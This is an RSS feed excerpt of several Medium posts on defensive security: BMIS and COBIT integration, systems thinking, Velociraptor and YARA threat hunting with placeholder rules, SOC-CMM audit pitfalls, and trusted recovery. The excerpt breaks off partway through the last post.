            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security-architecture]]></category>
            <category><![CDATA[risk-management]]></category>
            <dc:creator><![CDATA[Roozbeh Noroozi]]></dc:creator>
            <pubDate>Sun, 24 Nov 2024 10:51:32 GMT</pubDate>
            <atom:updated>2024-11-25T11:51:31.655Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DbhzbU3m8XUhvMKWpy2Vng.png" /><figcaption>chatgpt</figcaption></figure><p>The <strong>Business Model for Information Security (BMIS)</strong> is a conceptual framework designed to help organizations integrate security into their overall business operations. It provides a holistic view of information security, focusing not just on technology but also on people, processes, and the broader organizational environment.</p><p><strong>Key Components of BMIS:</strong></p><p>BMIS consists of four primary elements, interconnected and influenced by external factors:</p><ol><li><strong>Organization Design and Strategy</strong></li><li><strong>People</strong></li><li><strong>Process</strong></li><li><strong>Technology</strong></li></ol><p><strong>External Influences on BMIS:</strong></p><ul><li><strong>Environment</strong>: Regulatory requirements, market dynamics, and industry trends.</li><li><strong>Emerging Threats</strong>: New vulnerabilities or cyber risks.</li><li><strong>Cultural Factors</strong>: Organizational culture and employee attitudes toward security.</li></ul><p><strong>Purpose of BMIS:</strong></p><ul><li>To ensure that security is aligned with business objectives.</li><li>To address the dynamic and interconnected nature of security challenges.</li><li>To create a security program that integrates people, processes, and technology effectively.</li></ul><p><strong>What is COBIT?</strong></p><p><strong>COBIT (Control Objectives for Information and Related Technologies)</strong> is a comprehensive framework for IT governance and management, developed by ISACA. It is used to align IT and information security strategies with business objectives and ensure effective control and governance of IT-related activities.</p><p><strong>Key Features of COBIT:</strong></p><ol><li><strong>Governance and Management Objectives</strong>:</li><li><strong>Process Framework</strong>:</li><li><strong>Goals Cascade</strong>:</li><li><strong>Principles of COBIT</strong>:</li></ol><p><strong>Purpose of COBIT:</strong></p><ul><li>To help organizations optimize IT-related investments and achieve business value.</li><li>To bridge the gap between business objectives and IT processes.</li><li>To manage IT risks and ensure compliance with standards and regulations.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*Efz34ndCeQBzKRWOAa9qGw.png" /></figure><p><strong>How BMIS and COBIT Work Together</strong></p><p>BMIS provides the <strong>conceptual foundation</strong> for embedding security into an organization, addressing the “what” and “why” of security. COBIT provides the <strong>practical tools and processes</strong> to implement and operationalize BMIS concepts, addressing the “how.”</p><p>For example:</p><ol><li><strong>BMIS</strong> identifies the need to secure customer data (aligned with organizational goals).</li><li><strong>COBIT</strong> provides processes like <strong>APO13 (Manage Security)</strong> and <strong>DSS05 (Manage Security Services)</strong> to implement and monitor the necessary controls.</li></ol><p>To design a holistic security architecture, the two frameworks can be integrated into a step-by-step process:</p><p><strong>Step 1: Align Security with Business Goals</strong></p><ul><li>Use COBIT’s <strong>Goals Cascade</strong> to link business objectives to security goals.</li><li>Define how security contributes to overall organizational success, leveraging BMIS’s <strong>Organization Design and Strategy</strong> component.</li></ul><p><strong>Step 2: Establish Governance Framework</strong></p><ul><li>Implement COBIT’s governance practices (<strong>EDM domains</strong>) to provide oversight and accountability.</li><li>Ensure roles, responsibilities, and policies are clearly defined, supporting BMIS’s emphasis on organizational alignment.</li></ul><p><strong>Step 3: Address People, Process, and Technology</strong></p><ul><li><strong>People:</strong> Use BMIS to cultivate a culture of security. Align training and awareness programs with COBIT objectives like <strong>APO07 (Manage Human Resources)</strong>.</li><li><strong>Process:</strong> Map BMIS’s process component to COBIT management domains like <strong>BAI (Build, Acquire, Implement)</strong> and <strong>DSS (Deliver, Service, Support)</strong>.</li><li><strong>Technology:</strong> Use COBIT’s control practices to implement secure technologies, ensuring alignment with BMIS’s technological considerations.</li></ul><p><strong>Step 4: Implement Risk Management</strong></p><ul><li>Use BMIS to identify organizational risk factors.</li><li>Apply COBIT’s <strong>APO12 (Manage Risk)</strong> to operationalize these insights, defining risk thresholds and controls.</li></ul><p><strong>Step 5: Monitor and Adapt</strong></p><ul><li>Use COBIT’s <strong>MEA02 (Monitor, Evaluate, Assess Internal Control System)</strong> to measure the effectiveness of security controls.</li><li>Incorporate BMIS’s emphasis on environmental and cultural factors, adapting the security architecture to changing business conditions.</li></ul><p><strong>4. Benefits of Integrating BMIS and COBIT</strong></p><ul><li><strong>Comprehensive Coverage:</strong> Addresses all aspects of security (people, process, technology, environment) and ensures alignment with business goals.</li><li><strong>Strategic Alignment:</strong> Ensures security initiatives are tied to organizational objectives through COBIT’s Goals Cascade.</li><li><strong>Scalability:</strong> Both frameworks can be adapted to organizations of any size or industry.</li><li><strong>Enhanced Governance:</strong> Clear structures and processes ensure accountability and compliance.</li><li><strong>Continuous Improvement:</strong> Regular monitoring and assessment support a dynamic security environment.</li></ul><p><strong>5. Example: Banking Sector Implementation</strong></p><p>For a bank:</p><ul><li><strong>BMIS Application:</strong> Define the strategic importance of protecting customer data and maintaining regulatory compliance. Integrate cultural considerations to promote employee vigilance against phishing.</li><li><strong>COBIT Integration:</strong> Use <strong>APO13 (Manage Security)</strong> to create and maintain security policies. Leverage <strong>DSS05 (Manage Security Services)</strong> to ensure continuous monitoring of customer data systems.</li><li><strong>Result:</strong> A holistic security architecture that addresses regulatory requirements, customer trust, and operational efficiency.</li></ul><p>By combining BMIS’s conceptual focus with COBIT’s actionable processes, organizations can design a holistic security architecture that is robust, adaptable, and aligned with business goals</p><p><strong>More Elaboration :</strong></p><p>Creating a <strong>Holistic Security Architecture</strong> using the <strong>Business Model for Information Security (BMIS)</strong> and <strong>COBIT</strong> involves integrating their strengths to address all aspects of security across an organization. Let’s dive deeper into the components, interconnections, and actionable strategies for achieving a truly integrated security architecture.</p><p><strong>1. What Is Holistic Security Architecture?</strong></p><p>A holistic security architecture ensures that all aspects of an organization — people, processes, technology, and external influences — are accounted for in security planning and implementation. It focuses on:</p><ul><li>Comprehensive risk management.</li><li>Alignment with business goals.</li><li>Adapting to changing internal and external environments.</li><li>Continuous improvement and optimization.</li></ul><p><strong>2. Role of BMIS in Holistic Security Architecture</strong></p><p>BMIS serves as a conceptual framework, highlighting the <strong>interconnected components</strong> essential to security:</p><p><strong>BMIS Components:</strong></p><ul><li><strong>Organization Design and Strategy:</strong> Security must align with the organization’s structure and strategic objectives.</li><li><strong>People:</strong> Emphasizes human factors like behavior, culture, and training.</li><li><strong>Processes:</strong> Ensures workflows support security objectives efficiently and effectively.</li><li><strong>Technology:</strong> Focuses on the tools and systems supporting security.</li><li><strong>Environment:</strong> External and internal factors influencing security, such as regulatory requirements or market dynamics.</li></ul><p><strong>3. Role of COBIT in Holistic Security Architecture</strong></p><p>COBIT provides the <strong>practical tools, governance structures, and processes</strong> needed to implement BMIS concepts. It translates high-level ideas into actionable security management and governance practices.</p><p><strong>Key COBIT Contributions:</strong></p><ul><li><strong>Goals Cascade:</strong> Maps business objectives to IT and security goals.</li><li><strong>Domains and Objectives:EDM (Evaluate, Direct, Monitor):</strong> Governance oversight.<strong>APO (Align, Plan, Organize):</strong> Strategic planning and resource management.<strong>BAI (Build, Acquire, Implement):</strong> Implementing secure systems and changes.<strong>DSS (Deliver, Service, Support):</strong> Operational security management.<strong>MEA (Monitor, Evaluate, Assess):</strong> Ongoing performance and compliance evaluation.</li><li><strong>Risk and Resource Optimization:</strong> Ensures risks are minimized while resources are used effectively.</li></ul><p><strong>4. Integrating BMIS and COBIT for Holistic Security Architecture</strong></p><p>Here’s how BMIS and COBIT can be integrated to create a comprehensive security architecture:</p><p><strong>Step 1: Define Organizational Goals and Context</strong></p><ul><li><strong>BMIS Contribution:</strong> Identify how security supports the organization’s mission, vision, and strategy. For example:Protecting customer data for trust.Ensuring compliance with regulations like GDPR or PCI DSS.</li><li><strong>COBIT Contribution:</strong> Use the <strong>Goals Cascade</strong> to align organizational goals with specific IT and security objectives.</li></ul><p><strong>Step 2: Establish Governance Framework</strong></p><ul><li><strong>BMIS Contribution:</strong> Embed security into organizational structures, ensuring accountability and clear roles.</li><li><strong>COBIT Contribution:</strong> Implement governance practices using the <strong>EDM</strong> domain:<strong>EDM01:</strong> Ensure governance framework setting and maintenance.<strong>EDM03:</strong> Ensure risk optimization for consistent security policies.</li></ul><p><strong>Step 3: Address Components of Security</strong></p><p>Each BMIS component aligns with COBIT’s domains and objectives for actionable implementation:</p><ul><li><strong>People:BMIS:</strong> Focus on training, behavior, and cultural change.<strong>COBIT:</strong> Use <strong>APO07 (Manage Human Resources)</strong> to define roles and competencies for security.</li><li><strong>Processes:BMIS:</strong> Define workflows that integrate security controls.<strong>COBIT:</strong> Use <strong>BAI01 (Manage Programs and Projects)</strong> and <strong>BAI06 (Manage Changes)</strong> to embed security into processes.</li><li><strong>Technology:BMIS:</strong> Identify the tools and infrastructure needed for security.<strong>COBIT:</strong> Use <strong>DSS05 (Manage Security Services)</strong> to implement and monitor security technologies.</li></ul><p><strong>Step 4: Implement Risk Management</strong></p><ul><li><strong>BMIS Contribution:</strong> Recognize and address risks from organizational, cultural, and technological perspectives.</li><li><strong>COBIT Contribution:</strong> Use <strong>APO12 (Manage Risk)</strong> and <strong>EDM03 (Ensure Risk Optimization)</strong> to operationalize risk management strategies.</li></ul><p><strong>Step 5: Monitor and Adapt</strong></p><ul><li><strong>BMIS Contribution:</strong> Emphasize environmental adaptability, recognizing that security must evolve with changes in the business or regulatory landscape.</li><li><strong>COBIT Contribution:</strong> Use the <strong>MEA (Monitor, Evaluate, Assess)</strong> domain to:Measure the effectiveness of security controls.Assess compliance with policies and regulations.Continuously improve based on feedback and audit results.</li></ul><p><strong>5. Key Principles for Building Holistic Security Architecture</strong></p><p>When integrating BMIS and COBIT, keep the following principles in mind:</p><ol><li><strong>Comprehensive Coverage:</strong> Security must address all layers — strategic, operational, and tactical.</li><li><strong>Alignment with Business Objectives:</strong> Security investments and efforts should support the organization’s goals.</li><li><strong>Dynamic and Adaptable:</strong> The architecture should evolve with internal and external changes, such as new technologies or emerging threats.</li><li><strong>Risk-Centric:</strong> Focus on identifying, assessing, and mitigating risks within acceptable levels.</li><li><strong>Continuous Improvement:</strong> Regular monitoring and feedback loops to refine processes and controls.</li></ol><p><strong>6. Practical Example: Banking Sector</strong></p><p>In a banking environment:</p><ul><li><strong>BMIS Focus:</strong>Organizational Design: Align security with regulations like Basel III or <a href="http://sox.technology/">SOX.Technology</a>: Secure customer data using encryption and secure APIs.Environment: Account for market trends, regulatory changes, and customer expectations.</li><li><strong>COBIT Implementation:</strong>Use <strong>APO13 (Manage Security)</strong> to define a security management framework.Apply <strong>DSS05 (Manage Security Services)</strong> to ensure real-time monitoring of transactions and fraud detection.Leverage <strong>MEA02 (Monitor, Evaluate, Assess Internal Control System)</strong> to ensure controls are working effectively.</li></ul><p><strong>7. Benefits of a Holistic Approach</strong></p><ul><li><strong>Improved Governance:</strong> Clear roles, responsibilities, and accountability for security.</li><li><strong>Strategic Alignment:</strong> Security initiatives directly support business goals.</li><li><strong>Resilience:</strong> Better preparedness for emerging threats and changing regulations.</li><li><strong>Efficiency:</strong> Optimal use of resources through integrated processes.</li><li><strong>Enhanced Trust:</strong> Stronger stakeholder confidence in the organization’s ability to protect its assets.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=330bf249b2d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using systems thinking for implementing information security]]></title>
            <link>https://medium.com/@roozbeh.no/using-systems-thinking-for-implementing-information-security-e3ee7b18fc52?source=rss-7aa730c1b3fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3ee7b18fc52</guid>
            <dc:creator><![CDATA[Roozbeh Noroozi]]></dc:creator>
            <pubDate>Sat, 23 Nov 2024 18:46:39 GMT</pubDate>
            <atom:updated>2024-11-23T19:17:56.123Z</atom:updated>
            <content:encoded><![CDATA[<p>Using systems thinking for implementing information security</p><p>Using systems thinking for implementing information security involves viewing security not as isolated parts (e.g., firewalls, antivirus software) but as an interconnected, dynamic whole. Systems thinking encourages understanding how all components of information security work together to achieve overall organizational security goals. Here’s how systems thinking can be applied:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_d4GvuFeHq20WgxVhp2kCw.jpeg" /></figure><p>1. Viewing Information Security as a System<br> - Holistic Approach: Information security is not just about protecting data but about securing the entire ecosystem, including people, processes, technology, and policies. Each component interacts with others, so a breach or failure in one area can have ripple effects across the organization.<br> - Feedback Loops: In a system, feedback loops (positive or negative) are critical for continuous improvement. For example, an incident response process not only addresses immediate threats but also informs future security measures by identifying weaknesses.<br> <br>2. Identifying Interdependencies<br> - People, Processes, Technology: Systems thinking emphasizes the interconnectedness of these elements. For example:<br> - A weakness in the people component (such as insufficient employee training) can lead to poor adherence to security policies, creating vulnerabilities in the processes (e.g., ineffective incident management or weak access controls).<br> - Technology, like firewalls or encryption tools, can mitigate risks but must be aligned with processes like regular patching and security monitoring. When systems are not kept up-to-date, it creates new risks.<br> - Collaborative Governance: Security decisions should be made in collaboration with other departments (e.g., IT, HR, Legal, etc.), as each has a role in the overall security strategy.</p><p>3. Focus on Cause and Effect<br> - Root Cause Analysis: Instead of just addressing symptoms (e.g., fixing vulnerabilities after an attack), systems thinking encourages identifying the root causes of security issues. For example, a malware breach might be traced back to improper access controls or inadequate employee training rather than just the exploitation of a software vulnerability.<br> - Causal Loop Diagrams: These diagrams are often used in systems thinking to show how different factors influence each other. In information security, a causal loop diagram could represent how changes in one area (e.g., employee awareness) affect other areas (e.g., fewer successful phishing attempts, leading to reduced malware infections).<br> <br>4. Managing Complexity<br> - Security as a Complex Adaptive System: Information security is a complex system with constantly changing threats, technologies, and regulations. Using systems thinking, we recognize that security must adapt over time, with constant monitoring and adjustment based on new risks or vulnerabilities.<br> - Scenario Planning: Systems thinking involves anticipating possible future scenarios and preparing for them. For example, how would a new regulatory requirement affect current processes? How would an emerging cyber threat (like ransomware) affect the organization, and how should the system adapt?</p><p>5. Applying a Systems Perspective to Risk Management<br> - Risk as a Systemic Issue: Risk is not just about individual threats but about how various risks interact with one another. For example, combining different risk mitigation strategies—like encryption, access control, and regular audits—helps lower overall risk exposure by creating layers of defense.<br> - Dynamic Risk Assessment: Risk assessment should be continuous, not static. A systems-thinking approach allows for real-time monitoring of risk levels and rapid responses to changing conditions (e.g., after a new vulnerability is discovered or a new threat actor emerges).</p><p>6. Continuous Improvement and Adaptation<br> - Learning and Evolution: Systems thinking emphasizes that information security must evolve over time as the environment changes. Lessons learned from past incidents and threat intelligence feeds can be incorporated into security practices, making the system more resilient.<br> - Adaptation to Change: Cyber threats and technologies evolve, so security measures must be adaptable. For example, as new vulnerabilities or technologies emerge, the information security strategy must be updated continuously.</p><p>7. Feedback Loops in Incident Response and Recovery<br> - Incident Handling: When an incident occurs, systems thinking looks beyond immediate containment. It helps evaluate the incident’s root cause, response effectiveness, and impact on the overall security posture. <br> - Post-Incident Analysis: After an attack, feedback is gathered to adjust the strategy and prevent recurrence. This feedback loop involves data collection, analysis, and updating security measures to reinforce the security system.<br> <br>8. Aligning Security with Organizational Goals<br> - Security as Part of the Business System: Systems thinking ensures that security is integrated with the organization’s broader goals. For instance, data privacy and regulatory compliance are not just technical challenges but business drivers that support trust, reputation, and financial success.<br> - Understanding Systemic Impact: A breach or security failure often impacts more than just the IT department. It can affect customer trust, revenue, and compliance standing. Systems thinking highlights how information security affects organizational health as a whole, including business continuity, customer relationships, and legal liabilities.</p><p>Example: Systems Thinking in Action<br> - Scenario: Suppose a company experiences a ransomware attack. Using systems thinking, the organization doesn’t just focus on removing the ransomware and restoring systems. It investigates:<br> - People: Were employees trained to recognize phishing emails? Was there a lapse in security awareness?<br> - Processes: Was there an effective incident response plan? Were backup and recovery processes followed correctly?<br> - Technology: Was the software up-to-date with security patches? Did the security tools detect the intrusion early?</p><p>By looking at all these components together, the company can adapt its security system, improve training, enhance backup protocols, and update technology to prevent future attacks.</p><p>Conclusion<br>By applying systems thinking to information security, an organization can create a resilient, adaptive, and comprehensive security system that not only protects against threats but evolves over time to meet new challenges. It shifts from a reactive, siloed approach to a proactive, interconnected one, ensuring security is continuously optimized in the face of evolving risks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3ee7b18fc52" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Velociraptor to search for Indicators of Compromise (IOCs)]]></title>
            <link>https://medium.com/@roozbeh.no/using-velociraptor-to-search-for-indicators-of-compromise-iocs-633a4d106450?source=rss-7aa730c1b3fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/633a4d106450</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[yara]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Roozbeh Noroozi]]></dc:creator>
            <pubDate>Fri, 22 Nov 2024 07:52:26 GMT</pubDate>
            <atom:updated>2024-11-22T07:52:26.623Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*pJfzD2osXkIGnZ2ynjc5-w.png" /><figcaption>credit to cohesity</figcaption></figure><p>Using Velociraptor to search for Indicators of Compromise (IOCs) across multiple systems using YARA rules involves deploying and running queries across endpoints. Here’s a step-by-step guide:</p><p>1. Set Up Velociraptor</p><p>a-Install Velociraptor:</p><p>- Deploy Velociraptor server and client agents on the target endpoints. Installation instructions can be found on the [Velociraptor documentation site](https://www.velocidex.com/docs/).</p><p>b-Deploy Agents:</p><p>- Ensure the Velociraptor client is installed on all target computers. Use group policies, deployment scripts, or manual installation as needed.</p><p>2. Write or Obtain YARA Rules</p><p>a-Create YARA Rules:</p><p>- Develop rules to detect specific malware, files, or patterns associated with the IOC. For example:</p><p>```yara</p><p>rule ExampleIOC</p><p>{</p><p>meta:</p><p>description = “Detects suspicious file pattern”</p><p>strings:</p><p>$malicious_string = “malware signature”</p><p>condition:</p><p>$malicious_string</p><p>}</p><p>```</p><p>b-Validate Rules:</p><p>- Test your YARA rules on a single system to ensure they function correctly.</p><p>c-Store Rules:</p><p>- Save the rules in a file (e.g., `ioc_rules.yar`).</p><p>3. Configure Velociraptor to Use YARA Rules</p><p>a-Create a Hunt:</p><p>- Log into the Velociraptor web interface.</p><p>- Go to the “Hunts” tab and create a new hunt.</p><p>b-Specify YARA Hunt Parameters:</p><p>- Select a YARA query module, such as `Artifact.Yara`, from Velociraptor’s library or create a custom query.</p><p>- Point the query to the saved YARA rules file.</p><p>Example query snippet:</p><p>```yaml</p><p>Artifact:</p><p>- Name: YARA Hunt</p><p>Parameters:</p><p>yara_rules: |</p><p>rule Malicious</p><p>{</p><p>strings:</p><p>$a = “malicious_string”</p><p>condition:</p><p>$a</p><p>}</p><p>target_paths:</p><p>- “C:\\Users\\**\\*.exe”</p><p>- “/home/*/*”</p><p>```</p><p>c-Target Path Specification:</p><p>- Define the file paths or directories to scan, such as:</p><p>- Windows: `C:\Users\*\AppData\*\*.exe`</p><p>- Linux: `/var/tmp/*`</p><p>4. Run the Hunt</p><p>a-Launch the Hunt:</p><p>- Assign the hunt to all relevant clients/endpoints.</p><p>- Deploy the hunt and monitor its progress in the Velociraptor interface.</p><p>b-Collect Results:</p><p>- As endpoints execute the query, results will aggregate on the server.</p><p>- Review findings for matches on your YARA rules.</p><p>5. Analyze and Respond</p><p>a-Review Results:</p><p>- Analyze the outputs for matches, focusing on files, processes, or registries flagged by the rules.</p><p>b-Take Action:</p><p>- Quarantine or isolate infected endpoints.</p><p>- Delete or remediate files flagged by YARA.</p><p>- Update your rules based on findings for further detection.</p><p>c-Export Reports:</p><p>- Use Velociraptor’s reporting tools to export results and share with your incident response team.</p><p>Additional Tips</p><p>- Tuning for Performance:</p><p>- If scanning many endpoints, limit the hunt to specific directories or file types to reduce resource usage.</p><p>- Integration:</p><p>- Combine Velociraptor hunts with threat intelligence feeds to update YARA rules dynamically.</p><p>- Testing:</p><p>- Always test hunts in a controlled environment before deploying across production systems.</p><p>For more detailed instructions, refer to [Velociraptor’s official documentation](https://www.velocidex.com/docs/) or its [GitHub repository](https://github.com/Velocidex/velociraptor).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=633a4d106450" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advice on mistakes that Security Operations Center auditors can make regarding the SOC-CMM.]]></title>
            <link>https://medium.com/@roozbeh.no/advice-on-mistakes-that-security-operations-center-auditors-can-make-regarding-the-soc-cmm-357596356db1?source=rss-7aa730c1b3fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/357596356db1</guid>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[audit]]></category>
            <category><![CDATA[security-audit]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Roozbeh Noroozi]]></dc:creator>
            <pubDate>Wed, 20 Nov 2024 20:01:06 GMT</pubDate>
            <atom:updated>2024-11-20T20:47:49.137Z</atom:updated>
            <content:encoded><![CDATA[<p>Advice on mistakes that Security Operations Center auditors can make regarding the SOC-CMM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hc0safBBMma8fHsqLZ0XQw.jpeg" /></figure><p>Here’s advice on common mistakes that Security Operations Center (SOC) auditors can make regarding the SOC-CMM (Security Operations Center Capability Maturity Model), along with tips to avoid them:</p><p>1. Superficial Assessment of Maturity Levels<br> - Mistake: Auditors might assess SOC maturity levels without fully understanding the criteria for each level, leading to inaccurate evaluations.<br> - Advice: Familiarize yourself with SOC-CMM’s detailed descriptions for each maturity level (Initial to Optimizing) across all domains. Use objective evidence to support your assessments.</p><p>2. Focusing on One Domain at the Expense of Others<br> - Mistake: Overemphasizing certain domains, such as Detection &amp; Analysis, while neglecting areas like Business Alignment or Governance.<br> - Advice: Assess all five domains of the SOC-CMM (Business, Service, Technology, People, and Processes) to ensure a holistic evaluation.</p><p>3. Overlooking Continuous Improvement<br> - Mistake: Failing to evaluate whether the SOC is learning from past incidents or audits to improve its maturity.<br> - Advice: Pay close attention to how the SOC implements lessons learned and whether continuous improvement practices are embedded in operations.</p><p>4. Underestimating Business Alignment<br> - Mistake: Ignoring the alignment between SOC objectives and organizational goals, leading to recommendations that don’t fit business needs.<br> - Advice: Evaluate the SOC’s Business Alignment domain to ensure its activities and priorities support the broader business strategy and risk appetite.</p><p>5. Misinterpreting Metrics and KPIs<br> - Mistake: Failing to analyze SOC metrics in a meaningful way, leading to incorrect conclusions about maturity levels.<br> - Advice: Understand how SOC metrics and KPIs (e.g., Mean Time to Detect/Respond) tie into the maturity framework and assess whether they are being used effectively.</p><p>6. Overemphasizing Tools Instead of Processes<br> - Mistake: Assuming that advanced tools automatically mean a mature SOC, without evaluating whether processes are mature.<br> - Advice: Use SOC-CMM to assess the maturity of processes alongside tools and technology. A mature SOC balances automation with robust processes.</p><p>7. Neglecting People and Training<br> - Mistake: Focusing only on technology and ignoring the People domain, which includes skills, training, and culture.<br> - Advice: Evaluate whether SOC staff are trained for current and emerging threats and whether training programs align with the SOC’s maturity goals.</p><p>8. Assuming One-Size-Fits-All Maturity Targets<br> - Mistake: Expecting all SOCs to achieve the same maturity level across all domains, regardless of business context.<br> - Advice: Align maturity targets with the organization’s needs and resources. For example, a smaller SOC may focus on achieving Level 3 in key areas rather than pursuing Level 5 across all domains.</p><p>9. Failure to Validate Governance Practices<br> - Mistake: Overlooking the Governance domain, including roles, responsibilities, and accountability within the SOC.<br> - Advice: Assess whether governance structures are well-defined and how they support the SOC’s maturity.</p><p>10. Inconsistent Use of SOC-CMM Framework<br> - Mistake: Applying SOC-CMM inconsistently or selectively, leading to gaps in the audit process.<br> - Advice: Use SOC-CMM comprehensively and consistently, ensuring all domains and levels are addressed systematically.</p><p>By addressing these common mistakes, SOC auditors can leverage the SOC-CMM framework to deliver more accurate, actionable insights that drive the continuous improvement of Security Operations Centers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=357596356db1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Trusted Recovery of Systems and OS: Design Phase and Operational Considerations as CISSP]]></title>
            <link>https://medium.com/@roozbeh.no/trusted-recovery-of-systems-and-os-design-phase-and-operational-considerations-as-cissp-30a0a32c2155?source=rss-7aa730c1b3fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/30a0a32c2155</guid>
            <category><![CDATA[system-design-concepts]]></category>
            <category><![CDATA[cissp-certification]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[cissp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Roozbeh Noroozi]]></dc:creator>
            <pubDate>Mon, 18 Nov 2024 18:55:11 GMT</pubDate>
            <atom:updated>2024-11-18T18:55:11.641Z</atom:updated>
            <content:encoded><![CDATA[<p>As a CISSP I try to explain Trusted recovery that is a critical element of security architecture that ensures systems and operating systems (OS) can recover to a secure and trusted state after a failure or compromise. For a CISSP professional, achieving trusted recovery involves careful planning during the design phase, implementation of monitoring in operation mode, and integration of complementary controls like EDR (Endpoint Detection and Response). Below is a detailed breakdown of how trusted recovery can be obtained and maintained.</p><p>1. Achieving Trusted Recovery in the Design Phase</p><p>During the design phase, the system should be built to support recovery mechanisms that ensure integrity and confidentiality, prevent unauthorized modifications, and restore secure functionality. Key criteria include:</p><p>a. Incorporating Secure Boot and Trusted Boot**<br>- Secure Boot:<br> — Ensures that only signed, trusted software (BIOS, firmware, OS components) loads during the boot process.<br> — Uses cryptographic signatures to verify integrity.<br>- Trusted Boot:<br> — Extends Secure Boot by measuring the integrity of the entire boot chain and logging it in a Trusted Platform Module (TPM).</p><p>b. Implementing Redundant Architectures<br>- Utilize backup systems, redundant components, and failover mechanisms to support recovery from hardware or software failures.</p><p>c. Designing for Minimum Viable State<br>- Include mechanisms to restore the system to a minimum viable secure state while preventing unauthorized access during recovery.</p><p>d. Integrating with a Hardware Root of Trust<br>- Use TPM or similar hardware security modules (HSMs) to store cryptographic keys and measure the integrity of the boot process.</p><p>e. Establishing Recovery Procedures<br>- Plan for both automated recovery (e.g., restarting services) and manual recovery steps (e.g., re-imaging a system) based on incident severity.</p><p>f. Recovery Validation Mechanisms<br>- Implement self-tests and cryptographic integrity checks to ensure the restored system is secure and uncompromised.</p><p>2. Criteria to Consider for Trusted Recovery</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*UlHHATe4Dgze8cTDhIhVSA.png" /></figure><p>3. Monitoring Trusted Recovery in Operational Mode</p><p>In production, maintaining trust in recovery processes involves real-time monitoring, validation, and response mechanisms. Trusted recovery monitoring solutions and strategies include:</p><p>a. Real-Time Integrity Monitoring<br>- Solutions:<br> — Use tools like Tripwire or OSSEC for file integrity monitoring (FIM) to detect changes in critical files or configurations.<br>- Application:<br> — Monitor the integrity of key system files (e.g., bootloader, kernel modules).<br> — Alert administrators if unauthorized changes are detected.</p><p>b. Continuous Verification<br>- Attestation:<br> — Use TPM-based remote attestation to validate the system’s integrity during operation.<br>- Health Checks:<br> — Periodically run integrity checks to compare the system state against a trusted baseline.</p><p>c. Event Monitoring<br>- Deploy centralized logging and monitoring systems (e.g., SIEM) to track recovery-related events.<br>- Correlate recovery actions with suspicious activities to detect potential compromises.</p><p>d. Automated Recovery Mechanisms<br>- Use orchestration tools to initiate verified recovery processes when anomalies are detected (e.g., auto-revert to a trusted snapshot).</p><p>4. Role of Complementary Controls like EDR</p><p>Endpoint Detection and Response (EDR) solutions can significantly enhance trusted recovery in operational environments by:</p><p>a. Continuous Monitoring<br>- Detect suspicious activity during and after recovery.<br>- Monitor system integrity and identify advanced persistent threats (APTs) that may compromise recovery efforts.</p><p>b. Threat Containment<br>- Contain threats in real time to prevent them from interfering with recovery processes.<br>- Example: Quarantining malicious files that could corrupt recovery images.</p><p>c. Behavior Analysis<br>- Identify and flag unusual recovery-related activities, such as unauthorized attempts to reset configurations.</p><p>d. Recovery Validation<br>- Validate that the recovery process did not reintroduce known malware or vulnerabilities by scanning the restored system.</p><p>e. Threat Hunting<br>- Proactively investigate root causes of system failures or compromises that necessitated recovery.<br>- Provide forensic evidence to validate the trusted recovery state.</p><p>5. Trusted Recovery Workflow with EDR</p><p>1. Detection: EDR identifies a compromise or anomaly and escalates the incident.<br>2. Isolation: The affected endpoint or system is quarantined to prevent further spread.<br>3. Initiate Recovery:<br> — Automated recovery tools (e.g., snapshots, backups) restore the system.<br> — EDR validates the integrity of the restored system.<br>4. Post-Recovery Validation:<br> — Compare post-recovery state to a trusted baseline using hash checks or attestation.<br>5. Monitoring and Logging:<br> — Log recovery actions and system state for audit and forensic analysis.<br>6. Proactive Measures:<br> — Update baselines and adjust policies to strengthen future recovery mechanisms.</p><p>In nutshell:</p><p>- Design Phase: Secure boot, hardware root of trust, and recovery validation mechanisms ensure a trusted recovery foundation.<br>- Operational Mode: Continuous monitoring, integrity checks, and real-time threat detection safeguard the recovery process.<br>- Complementary Controls (EDR): EDR adds a layer of validation, detection, and threat hunting to maintain trust during recovery in a production environment.</p><p>Specific Tools and Examples for Trusted Recovery</p><p>Below is a detailed exploration of tools and examples that support trusted recovery through mechanisms like Secure Boot, TPM, EDR, and automated recovery scripting.</p><p>1. Trusted Platform Module (TPM) for Trusted Recovery</p><p>Overview of TPM in Trusted Recovery<br>- What it does: A TPM provides a hardware root of trust for verifying the integrity of the boot process and stored cryptographic secrets.<br>- Use in Trusted Recovery:<br> — Attests to the integrity of the system state.<br> — Stores cryptographic hashes of trusted configurations for comparison during boot or recovery.<br> — Enables Measured Boot to track changes in the boot process.</p><p>Example Workflow 